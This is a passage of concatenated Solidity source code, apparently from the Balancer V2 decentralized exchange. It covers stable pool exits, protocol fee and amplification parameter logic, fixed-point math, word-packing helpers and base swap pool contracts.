// This particular exit function is the only one that remains available because it is the simplest one, and
// therefore the one with the lowest likelihood of errors.
uint256 bptAmountIn = userData.exactBptInForTokensOut();
// Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`.
uint256[] memory amountsOut = StableMath._calcTokensOutGivenExactBptIn(balances, bptAmountIn, totalSupply());
return (bptAmountIn, amountsOut);
}
function _exitBPTInForExactTokensOut(
uint256[] memory balances,
uint256[] memory scalingFactors,
bytes memory userData
) private view whenNotPaused returns (uint256, uint256[] memory) {
// This exit function is disabled if the contract is paused.
(uint256[] memory amountsOut, uint256 maxBPTAmountIn) = userData.bptInForExactTokensOut();
InputHelpers.ensureInputLengthMatch(amountsOut.length, _getTotalTokens());
_upscaleArray(amountsOut, scalingFactors);
(uint256 currentAmp, ) = _getAmplificationParameter();
uint256 bptAmountIn = StableMath._calcBptInGivenExactTokensOut(
currentAmp,
balances,
amountsOut,
totalSupply(),
_swapFeePercentage
);
_require(bptAmountIn <= maxBPTAmountIn, Errors.BPT_IN_MAX_AMOUNT);
return (bptAmountIn, amountsOut);
}
// Helpers
/**
* @dev Stores the last measured invariant, and the amplification parameter used to compute it.
*/
function _updateLastInvariant(uint256 invariant, uint256 amplificationParameter) private {
_lastInvariant = invariant;
_lastInvariantAmp = amplificationParameter;
}
/**
* @dev Returns the amount of protocol fees to pay, given the value of the last stored invariant and the current
* balances.
*/
function _getDueProtocolFeeAmounts(uint256[] memory balances, uint256 protocolSwapFeePercentage)
private
view
returns (uint256[] memory)
{
// Initialize with zeros
uint256[] memory dueProtocolFeeAmounts = new uint256[](_getTotalTokens());
// Early return if the protocol swap fee percentage is zero, saving gas.
if (protocolSwapFeePercentage == 0) {
return dueProtocolFeeAmounts;
}
// Instead of paying the protocol swap fee in all tokens proportionally, we will pay it in a single one. This
// will reduce gas costs for single asset joins and exits, as at most only two Pool balances will change (the
// token joined/exited, and the token in which fees will be paid).
// The protocol fee is charged using the token with the highest balance in the pool.
uint256 chosenTokenIndex = 0;
uint256 maxBalance = balances[0];
for (uint256 i = 1; i < _getTotalTokens(); ++i) {
uint256 currentBalance = balances[i];
if (currentBalance > maxBalance) {
chosenTokenIndex = i;
maxBalance = currentBalance;
}
}
// Set the fee amount to pay in the selected token
dueProtocolFeeAmounts[chosenTokenIndex] = StableMath._calcDueTokenProtocolSwapFeeAmount(
_lastInvariantAmp,
balances,
_lastInvariant,
chosenTokenIndex,
protocolSwapFeePercentage
);
return dueProtocolFeeAmounts;
}
/**
* @dev Computes and stores the value of the invariant after a join, which is required to compute due protocol fees
* in the future.
*/
function _updateInvariantAfterJoin(uint256[] memory balances, uint256[] memory amountsIn) private {
_mutateAmounts(balances, amountsIn, FixedPoint.add);
(uint256 currentAmp, ) = _getAmplificationParameter();
// This invariant is used only to compute the final balance when calculating the protocol fees. These are
// rounded down, so we round the invariant up.
_updateLastInvariant(StableMath._calculateInvariant(currentAmp, balances, true), currentAmp);
}
/**
* @dev Computes and stores the value of the invariant after an exit, which is required to compute due protocol fees
* in the future.
*/
function _updateInvariantAfterExit(uint256[] memory balances, uint256[] memory amountsOut) private {
_mutateAmounts(balances, amountsOut, FixedPoint.sub);
(uint256 currentAmp, ) = _getAmplificationParameter();
// This invariant is used only to compute the final balance when calculating the protocol fees. These are
// rounded down, so we round the invariant up.
_updateLastInvariant(StableMath._calculateInvariant(currentAmp, balances, true), currentAmp);
}
/**
* @dev Mutates `amounts` by applying `mutation` with each entry in `arguments`.
*
* Equivalent to `amounts = amounts.map(mutation)`.
*/
function _mutateAmounts(
uint256[] memory toMutate,
uint256[] memory arguments,
function(uint256, uint256) pure returns (uint256) mutation
) private view {
for (uint256 i = 0; i < _getTotalTokens(); ++i) {
toMutate[i] = mutation(toMutate[i], arguments[i]);
}
}
/**
* @dev This function returns the appreciation of one BPT relative to the
* underlying tokens. This starts at 1 when the pool is created and grows over time
*/
function getRate() public view returns (uint256) {
(, uint256[] memory balances, ) = getVault().getPoolTokens(getPoolId());
// When calculating the current BPT rate, we may not have paid the protocol fees, therefore
// the invariant should be smaller than its current value. Then, we round down overall.
(uint256 currentAmp, ) = _getAmplificationParameter();
_upscaleArray(balances, _scalingFactors());
uint256 invariant = StableMath._calculateInvariant(currentAmp, balances, false);
return invariant.divDown(totalSupply());
}
// Amplification
/**
* @dev Begins changing the amplification parameter to `rawEndValue` over time. The value will change linearly until
* `endTime` is reached, when it will be `rawEndValue`.
*
* NOTE: Internally, the amplification parameter is represented using higher precision. The values returned by
* `getAmplificationParameter` have to be corrected to account for this when comparing to `rawEndValue`.
*/
function startAmplificationParameterUpdate(uint256 rawEndValue, uint256 endTime) external authenticate {
_require(rawEndValue >= _MIN_AMP, Errors.MIN_AMP);
_require(rawEndValue <= _MAX_AMP, Errors.MAX_AMP);
uint256 duration = Math.sub(endTime, block.timestamp);
_require(duration >= _MIN_UPDATE_TIME, Errors.AMP_END_TIME_TOO_CLOSE);
(uint256 currentValue, bool isUpdating) = _getAmplificationParameter();
_require(!isUpdating, Errors.AMP_ONGOING_UPDATE);
uint256 endValue = Math.mul(rawEndValue, _AMP_PRECISION);
// daily rate = (endValue / currentValue) / duration * 1 day
// We perform all multiplications first to not reduce precision, and round the division up as we want to avoid
// large rates. Note that these are regular integer multiplications and divisions, not fixed point.
uint256 dailyRate = endValue > currentValue
? Math.divUp(Math.mul(1 days, endValue), Math.mul(currentValue, duration))
: Math.divUp(Math.mul(1 days, currentValue), Math.mul(endValue, duration));
_require(dailyRate <= _MAX_AMP_UPDATE_DAILY_RATE, Errors.AMP_RATE_TOO_HIGH);
_setAmplificationData(currentValue, endValue, block.timestamp, endTime);
}
/**
* @dev Stops the amplification parameter change process, keeping the current value.
*/
function stopAmplificationParameterUpdate() external authenticate {
(uint256 currentValue, bool isUpdating) = _getAmplificationParameter();
_require(isUpdating, Errors.AMP_NO_ONGOING_UPDATE);
_setAmplificationData(currentValue);
}
function _isOwnerOnlyAction(bytes32 actionId) internal view virtual override returns (bool) {
return
(actionId == getActionId(StablePool.startAmplificationParameterUpdate.selector)) ||
(actionId == getActionId(StablePool.stopAmplificationParameterUpdate.selector)) ||
super._isOwnerOnlyAction(actionId);
}
function getAmplificationParameter()
external
view
returns (
uint256 value,
bool isUpdating,
uint256 precision
)
{
(value, isUpdating) = _getAmplificationParameter();
precision = _AMP_PRECISION;
}
function _getAmplificationParameter() internal view returns (uint256 value, bool isUpdating) {
(uint256 startValue, uint256 endValue, uint256 startTime, uint256 endTime) = _getAmplificationData();
// Note that block.timestamp >= startTime, since startTime is set to the current time when an update starts
if (block.timestamp < endTime) {
isUpdating = true;
// We can skip checked arithmetic as:
// - block.timestamp is always larger or equal to startTime
// - endTime is alawys larger than startTime
// - the value delta is bounded by the largest amplification paramater, which never causes the
// multiplication to overflow.
// This also means that the following computation will never revert nor yield invalid results.
if (endValue > startValue) {
value = startValue + ((endValue - startValue) * (block.timestamp - startTime)) / (endTime - startTime);
} else {
value = startValue - ((startValue - endValue) * (block.timestamp - startTime)) / (endTime - startTime);
}
} else {
isUpdating = false;
value = endValue;
}
}
function _setAmplificationData(uint256 value) private {
_setAmplificationData(value, value, block.timestamp, block.timestamp);
emit AmpUpdateStopped(value);
}
function _setAmplificationData(
uint256 startValue,
uint256 endValue,
uint256 startTime,
uint256 endTime
) private {
_packedAmplificationData =
WordCodec.encodeUint(uint64(startValue), 0) |
WordCodec.encodeUint(uint64(endValue), 64) |
WordCodec.encodeUint(uint64(startTime), 64 * 2) |
WordCodec.encodeUint(uint64(endTime), 64 * 3);
emit AmpUpdateStarted(startValue, endValue, startTime, endTime);
}
function _getAmplificationData()
private
view
returns (
uint256 startValue,
uint256 endValue,
uint256 startTime,
uint256 endTime
)
{
startValue = _packedAmplificationData.decodeUint64(0);
endValue = _packedAmplificationData.decodeUint64(64);
startTime = _packedAmplificationData.decodeUint64(64 * 2);
endTime = _packedAmplificationData.decodeUint64(64 * 3);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./LogExpMath.sol";
import "../helpers/BalancerErrors.sol";
/* solhint-disable private-vars-leading-underscore */
library FixedPoint {
uint256 internal constant ONE = 1e18; // 18 decimal places
uint256 internal constant MAX_POW_RELATIVE_ERROR = 10000; // 10^(-14)
// Minimum base for the power function when the exponent is 'free' (larger than ONE).
uint256 internal constant MIN_POW_BASE_FREE_EXPONENT = 0.7e18;
function add(uint256 a, uint256 b) internal pure returns (uint256) {
// Fixed Point addition is the same as regular checked addition
uint256 c = a + b;
_require(c >= a, Errors.ADD_OVERFLOW);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
// Fixed Point addition is the same as regular checked addition
_require(b <= a, Errors.SUB_OVERFLOW);
uint256 c = a - b;
return c;
}
function mulDown(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 product = a * b;
_require(a == 0 || product / a == b, Errors.MUL_OVERFLOW);
return product / ONE;
}
function mulUp(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 product = a * b;
_require(a == 0 || product / a == b, Errors.MUL_OVERFLOW);
if (product == 0) {
return 0;
} else {
// The traditional divUp formula is:
// divUp(x, y) := (x + y - 1) / y
// To avoid intermediate overflow in the addition, we distribute the division and get:
// divUp(x, y) := (x - 1) / y + 1
// Note that this requires x != 0, which we already tested for.
return ((product - 1) / ONE) + 1;
}
}
function divDown(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
if (a == 0) {
return 0;
} else {
uint256 aInflated = a * ONE;
_require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow
return aInflated / b;
}
}
function divUp(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
if (a == 0) {
return 0;
} else {
uint256 aInflated = a * ONE;
_require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow
// The traditional divUp formula is:
// divUp(x, y) := (x + y - 1) / y
// To avoid intermediate overflow in the addition, we distribute the division and get:
// divUp(x, y) := (x - 1) / y + 1
// Note that this requires x != 0, which we already tested for.
return ((aInflated - 1) / b) + 1;
}
}
/**
* @dev Returns x^y, assuming both are fixed point numbers, rounding down. The result is guaranteed to not be above
* the true value (that is, the error function expected - actual is always positive).
*/
function powDown(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 raw = LogExpMath.pow(x, y);
uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1);
if (raw < maxError) {
return 0;
} else {
return sub(raw, maxError);
}
}
/**
* @dev Returns x^y, assuming both are fixed point numbers, rounding up. The result is guaranteed to not be below
* the true value (that is, the error function expected - actual is always negative).
*/
function powUp(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 raw = LogExpMath.pow(x, y);
uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1);
return add(raw, maxError);
}
/**
* @dev Returns the complement of a value (1 - x), capped to 0 if x is larger than 1.
*
* Useful when computing the complement for values with some level of relative error, as it strips this error and
* prevents intermediate negative values.
*/
function complement(uint256 x) internal pure returns (uint256) {
return (x < ONE) ? (ONE - x) : 0;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../openzeppelin/IERC20.sol";
import "./BalancerErrors.sol";
library InputHelpers {
function ensureInputLengthMatch(uint256 a, uint256 b) internal pure {
_require(a == b, Errors.INPUT_LENGTH_MISMATCH);
}
function ensureInputLengthMatch(
uint256 a,
uint256 b,
uint256 c
) internal pure {
_require(a == b && b == c, Errors.INPUT_LENGTH_MISMATCH);
}
function ensureArrayIsSorted(IERC20[] memory array) internal pure {
address[] memory addressArray;
// solhint-disable-next-line no-inline-assembly
assembly {
addressArray := array
}
ensureArrayIsSorted(addressArray);
}
function ensureArrayIsSorted(address[] memory array) internal pure {
if (array.length < 2) {
return;
}
address previous = array[0];
for (uint256 i = 1; i < array.length; ++i) {
address current = array[i];
_require(previous < current, Errors.UNSORTED_ARRAY);
previous = current;
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev Library for encoding and decoding values stored inside a 256 bit word. Typically used to pack multiple values in
* a single storage slot, saving gas by performing less storage accesses.
*
* Each value is defined by its size and the least significant bit in the word, also known as offset. For example, two
* 128 bit values may be encoded in a word by assigning one an offset of 0, and the other an offset of 128.
*/
library WordCodec {
// Masks are values with the least significant N bits set. They can be used to extract an encoded value from a word,
// or to insert a new one replacing the old.
uint256 private constant _MASK_1 = 2**(1) - 1;
uint256 private constant _MASK_10 = 2**(10) - 1;
uint256 private constant _MASK_22 = 2**(22) - 1;
uint256 private constant _MASK_31 = 2**(31) - 1;
uint256 private constant _MASK_53 = 2**(53) - 1;
uint256 private constant _MASK_64 = 2**(64) - 1;
// Largest positive values that can be represented as N bits signed integers.
int256 private constant _MAX_INT_22 = 2**(21) - 1;
int256 private constant _MAX_INT_53 = 2**(52) - 1;
// In-place insertion
/**
* @dev Inserts a boolean value shifted by an offset into a 256 bit word, replacing the old value. Returns the new
* word.
*/
function insertBoolean(
bytes32 word,
bool value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_1 << offset));
return clearedWord | bytes32(uint256(value ? 1 : 0) << offset);
}
// Unsigned
/**
* @dev Inserts a 10 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns
* the new word.
*
* Assumes `value` can be represented using 10 bits.
*/
function insertUint10(
bytes32 word,
uint256 value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_10 << offset));
return clearedWord | bytes32(value << offset);
}
/**
* @dev Inserts a 31 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns
* the new word.
*
* Assumes `value` can be represented using 31 bits.
*/
function insertUint31(
bytes32 word,
uint256 value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_31 << offset));
return clearedWord | bytes32(value << offset);
}
/**
* @dev Inserts a 64 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns
* the new word.
*
* Assumes `value` can be represented using 64 bits.
*/
function insertUint64(
bytes32 word,
uint256 value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_64 << offset));
return clearedWord | bytes32(value << offset);
}
// Signed
/**
* @dev Inserts a 22 bits signed integer shifted by an offset into a 256 bit word, replacing the old value. Returns
* the new word.
*
* Assumes `value` can be represented using 22 bits.
*/
function insertInt22(
bytes32 word,
int256 value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_22 << offset));
// Integer values need masking to remove the upper bits of negative values.
return clearedWord | bytes32((uint256(value) & _MASK_22) << offset);
}
// Encoding
// Unsigned
/**
* @dev Encodes an unsigned integer shifted by an offset. This performs no size checks: it is up to the caller to
* ensure that the values are bounded.
*
* The return value can be logically ORed with other encoded values to form a 256 bit word.
*/
function encodeUint(uint256 value, uint256 offset) internal pure returns (bytes32) {
return bytes32(value << offset);
}
// Signed
/**
* @dev Encodes a 22 bits signed integer shifted by an offset.
*
* The return value can be logically ORed with other encoded values to form a 256 bit word.
*/
function encodeInt22(int256 value, uint256 offset) internal pure returns (bytes32) {
// Integer values need masking to remove the upper bits of negative values.
return bytes32((uint256(value) & _MASK_22) << offset);
}
/**
* @dev Encodes a 53 bits signed integer shifted by an offset.
*
* The return value can be logically ORed with other encoded values to form a 256 bit word.
*/
function encodeInt53(int256 value, uint256 offset) internal pure returns (bytes32) {
// Integer values need masking to remove the upper bits of negative values.
return bytes32((uint256(value) & _MASK_53) << offset);
}
// Decoding
/**
* @dev Decodes and returns a boolean shifted by an offset from a 256 bit word.
*/
function decodeBool(bytes32 word, uint256 offset) internal pure returns (bool) {
return (uint256(word >> offset) & _MASK_1) == 1;
}
// Unsigned
/**
* @dev Decodes and returns a 10 bit unsigned integer shifted by an offset from a 256 bit word.
*/
function decodeUint10(bytes32 word, uint256 offset) internal pure returns (uint256) {
return uint256(word >> offset) & _MASK_10;
}
/**
* @dev Decodes and returns a 31 bit unsigned integer shifted by an offset from a 256 bit word.
*/
function decodeUint31(bytes32 word, uint256 offset) internal pure returns (uint256) {
return uint256(word >> offset) & _MASK_31;
}
/**
* @dev Decodes and returns a 64 bit unsigned integer shifted by an offset from a 256 bit word.
*/
function decodeUint64(bytes32 word, uint256 offset) internal pure returns (uint256) {
return uint256(word >> offset) & _MASK_64;
}
// Signed
/**
* @dev Decodes and returns a 22 bits signed integer shifted by an offset from a 256 bit word.
*/
function decodeInt22(bytes32 word, uint256 offset) internal pure returns (int256) {
int256 value = int256(uint256(word >> offset) & _MASK_22);
// In case the decoded value is greater than the max positive integer that can be represented with 22 bits,
// we know it was originally a negative integer. Therefore, we mask it to restore the sign in the 256 bit
// representation.
return value > _MAX_INT_22 ? (value | int256(~_MASK_22)) : value;
}
/**
* @dev Decodes and returns a 53 bits signed integer shifted by an offset from a 256 bit word.
*/
function decodeInt53(bytes32 word, uint256 offset) internal pure returns (int256) {
int256 value = int256(uint256(word >> offset) & _MASK_53);
// In case the decoded value is greater than the max positive integer that can be represented with 53 bits,
// we know it was originally a negative integer. Therefore, we mask it to restore the sign in the 256 bit
// representation.
return value > _MAX_INT_53 ? (value | int256(~_MASK_53)) : value;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./BasePool.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IGeneralPool.sol";
/**
* @dev Extension of `BasePool`, adding a handler for `IGeneralPool.onSwap`.
*
* Derived contracts must call `BasePool`'s constructor, and implement `_onSwapGivenIn` and `_onSwapGivenOut` along with
* `BasePool`'s virtual functions. Inheriting from this contract lets derived contracts choose the General
* specialization setting.
*/
abstract contract BaseGeneralPool is IGeneralPool, BasePool {
// Swap Hooks
function onSwap(
SwapRequest memory swapRequest,
uint256[] memory balances,
uint256 indexIn,
uint256 indexOut
) external view virtual override returns (uint256) {
_validateIndexes(indexIn, indexOut, _getTotalTokens());
uint256[] memory scalingFactors = _scalingFactors();
return
swapRequest.kind == IVault.SwapKind.GIVEN_IN
? _swapGivenIn(swapRequest, balances, indexIn, indexOut, scalingFactors)
: _swapGivenOut(swapRequest, balances, indexIn, indexOut, scalingFactors);
}
function _swapGivenIn(
SwapRequest memory swapRequest,
uint256[] memory balances,
uint256 indexIn,
uint256 indexOut,
uint256[] memory scalingFactors
) internal view returns (uint256) {
// Fees are subtracted before scaling, to reduce the complexity of the rounding direction analysis.
swapRequest.amount = _subtractSwapFeeAmount(swapRequest.amount);
_upscaleArray(balances, scalingFactors);
swapRequest.amount = _upscale(swapRequest.amount, scalingFactors[indexIn]);
uint256 amountOut = _onSwapGivenIn(swapRequest, balances, indexIn, indexOut);
// amountOut tokens are exiting the Pool, so we round down.
return _downscaleDown(amountOut, scalingFactors[indexOut]);
}
function _swapGivenOut(
SwapRequest memory swapRequest,
uint256[] memory balances,
uint256 indexIn,
uint256 indexOut,
uint256[] memory scalingFactors
) internal view returns (uint256) {
_upscaleArray(balances, scalingFactors);
swapRequest.amount = _upscale(swapRequest.amount, scalingFactors[indexOut]);
uint256 amountIn = _onSwapGivenOut(swapRequest, balances, indexIn, indexOut);
// amountIn tokens are entering the Pool, so we round up.
amountIn = _downscaleUp(amountIn, scalingFactors[indexIn]);
// Fees are added after scaling happens, to reduce the complexity of the rounding direction analysis.
return _addSwapFeeAmount(amountIn);
}
/*
* @dev Called when a swap with the Pool occurs, where the amount of tokens entering the Pool is known.
*
* Returns the amount of tokens that will be taken from the Pool in return.
*
* All amounts inside `swapRequest` and `balances` are upscaled. The swap fee has already been deducted from
* `swapRequest.amount`.
*
* The return value is also considered upscaled, and will be downscaled (rounding down) before returning it to the
* Vault.
*/
function _onSwapGivenIn(
SwapRequest memory swapRequest,
uint256[] memory balances,
uint256 indexIn,
uint256 indexOut
) internal view virtual returns (uint256);
/*
* @dev Called when a swap with the Pool occurs, where the amount of tokens exiting the Pool is known.
*
* Returns the amount of tokens that will be granted to the Pool in return.
*
* All amounts inside `swapRequest` and `balances` are upscaled.
*
* The return value is also considered upscaled, and will be downscaled (rounding up) before applying the swap fee
* and returning it to the Vault.
*/
function _onSwapGivenOut(
SwapRequest memory swapRequest,
uint256[] memory balances,
uint256 indexIn,
uint256 indexOut
) internal view virtual returns (uint256);
function _validateIndexes(
uint256 indexIn,
uint256 indexOut,
uint256 limit
) private pure {
_require(indexIn < limit && indexOut < limit, Errors.OUT_OF_BOUNDS);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./BasePool.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IMinimalSwapInfoPool.sol";
/**
* @dev Extension of `BasePool`, adding a handler for `IMinimalSwapInfoPool.onSwap`.
*
* Derived contracts must call `BasePool`'s constructor, and implement `_onSwapGivenIn` and `_onSwapGivenOut` along with
* `BasePool`'s virtual functions. Inheriting from this contract lets derived contracts choose the Two Token or Minimal
* Swap Info specialization settings.
*/
abstract contract BaseMinimalSwapInfoPool is IMinimalSwapInfoPool, BasePool {
// Swap Hooks
function onSwap(
SwapRequest memory request,
uint256 balanceTokenIn,
uint256 balanceTokenOut
) external view virtual override returns (uint256) {
uint256 scalingFactorTokenIn = _scalingFactor(request.tokenIn);
uint256 scalingFactorTokenOut = _scalingFactor(request.tokenOut);
if (request.kind == IVault.SwapKind.GIVEN_IN) {
// Fees are subtracted before scaling, to reduce the complexity of the rounding direction analysis.
request.amount = _subtractSwapFeeAmount(request.amount);
// All token amounts are upscaled.
balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn);
balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut);
request.amount = _upscale(request.amount, scalingFactorTokenIn);
uint256 amountOut = _onSwapGivenIn(request, balanceTokenIn, balanceTokenOut);
// amountOut tokens are exiting the Pool, so we round down.
return _downscaleDown(amountOut, scalingFactorTokenOut);
} else {
// All token amounts are upscaled.
balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn);
balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut);
request.amount = _upscale(request.amount, scalingFactorTokenOut);
uint256 amountIn = _onSwapGivenOut(request, balanceTokenIn, balanceTokenOut);
// amountIn tokens are entering the Pool, so we round up.
amountIn = _downscaleUp(amountIn, scalingFactorTokenIn);
// Fees are added after scaling happens, to reduce the complexity of the rounding direction analysis.
return _addSwapFeeAmount(amountIn);
}
}
/*
* @dev Called when a swap with the Pool occurs, where the amount of tokens entering the Pool is known.
*
* Returns the amount of tokens that will be taken from the Pool in return.
*
* All amounts inside `swapRequest`, `balanceTokenIn` and `balanceTokenOut` are upscaled. The swap fee has already
* been deducted from `swapRequest.amount`.
*
* The return value is also considered upscaled, and will be downscaled (rounding down) before returning it to the
* Vault.
*/
function _onSwapGivenIn(
SwapRequest memory swapRequest,
uint256 balanceTokenIn,
uint256 balanceTokenOut
) internal view virtual returns (uint256);
/*
* @dev Called when a swap with the Pool occurs, where the amount of tokens exiting the Pool is known.
*
* Returns the amount of tokens that will be granted to the Pool in return.
*
* All amounts inside `swapRequest`, `balanceTokenIn` and `balanceTokenOut` are upscaled.
*
* The return value is also considered upscaled, and will be downscaled (rounding up) before applying the swap fee
* and returning it to the Vault.
*/
function _onSwapGivenOut(
SwapRequest memory swapRequest,
uint256 balanceTokenIn,
uint256 balanceTokenOut
) internal view virtual returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "@balancer-labs/v2-solidity-utils/contracts/math/Math.sol";
import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol";
// This is a contract to emulate file-level functions. Convert to a library
// after the migration to solc v0.7.1.
// solhint-disable private-vars-leading-underscore
// solhint-disable var-name-mixedcase
contract StableMath {
using FixedPoint for uint256;
uint256 internal constant _MIN_AMP = 1;
uint256 internal constant _MAX_AMP = 5000;
uint256 internal constant _AMP_PRECISION = 1e3;
uint256 internal constant _MAX_STABLE_TOKENS = 5;
// Note on unchecked arithmetic:
// This contract performs a large number of additions, subtractions, multiplications and divisions, often inside
// loops. Since many of these operations are gas-sensitive (as they happen e.g. during a swap), it is important to
// not make any unnecessary checks. We rely on a set of invariants to avoid having to use checked arithmetic (the
// Math library), including:
// - the number of tokens is bounded by _MAX_STABLE_TOKENS
// - the amplification parameter is bounded by _MAX_AMP * _AMP_PRECISION, which fits in 23 bits
// - the token balances are bounded by 2^112 (guaranteed by the Vault) times 1e18 (the maximum scaling factor),
// which fits in 172 bits
//
// This means e.g. we can safely multiply a balance by the amplification parameter without worrying about overflow.
// Computes the invariant given the current balances, using the Newton-Raphson approximation.
// The amplification parameter equals: A n^(n-1)
function _calculateInvariant(
uint256 amplificationParameter,
uint256[] memory balances,
bool roundUp
) internal pure returns (uint256) {
/**********************************************************************************************
// invariant //
// D = invariant D^(n+1) //
// A = amplification coefficient A n^n S + D = A D n^n + ----------- //
// S = sum of balances n^n P //
// P = product of balances //
// n = number of tokens //
*********x************************************************************************************/
// We support rounding up or down.
uint256 sum = 0;
uint256 numTokens = balances.length;
for (uint256 i = 0; i < numTokens; i++) {
sum = sum.add(balances[i]);
}
if (sum == 0) {
return 0;
}
uint256 prevInvariant = 0;
uint256 invariant = sum;
uint256 ampTimesTotal = amplificationParameter * numTokens;
for (uint256 i = 0; i < 255; i++) {
uint256 P_D = balances[0] * numTokens;
for (uint256 j = 1; j < numTokens; j++) {
P_D = Math.div(Math.mul(Math.mul(P_D, balances[j]), numTokens), invariant, roundUp);
}
prevInvariant = invariant;
invariant = Math.div(
Math.mul(Math.mul(numTokens, invariant), invariant).add(
Math.div(Math.mul(Math.mul(ampTimesTotal, sum), P_D), _AMP_PRECISION, roundUp)
),
Math.mul(numTokens + 1, invariant).add(
// No need to use checked arithmetic for the amp precision, the amp is guaranteed to be at least 1
Math.div(Math.mul(ampTimesTotal - _AMP_PRECISION, P_D), _AMP_PRECISION, !roundUp)
),
roundUp
);
if (invariant > prevInvariant) {
if (invariant - prevInvariant <= 1) {
return invariant;
}
} else if (prevInvariant - invariant <= 1) {
return invariant;
}
}
_revert(Errors.STABLE_GET_BALANCE_DIDNT_CONVERGE);
}
// Computes how many tokens can be taken out of a pool if `tokenAmountIn` are sent, given the current balances.
// The amplification parameter equals: A n^(n-1)
function _calcOutGivenIn(
uint256 amplificationParameter,
uint256[] memory balances,
uint256 tokenIndexIn,
uint256 tokenIndexOut,
uint256 tokenAmountIn
) internal pure returns (uint256) {
/**************************************************************************************************************
// outGivenIn token x for y - polynomial equation to solve //
// ay = amount out to calculate //
// by = balance token out //
// y = by - ay (finalBalanceOut) //
// D = invariant D D^(n+1) //
// A = amplification coefficient y^2 + ( S - ---------- - D) * y - ------------- = 0 //
// n = number of tokens (A * n^n) A * n^2n * P //
// S = sum of final balances but y //
// P = product of final balances but y //
**************************************************************************************************************/
// Amount out, so we round down overall.
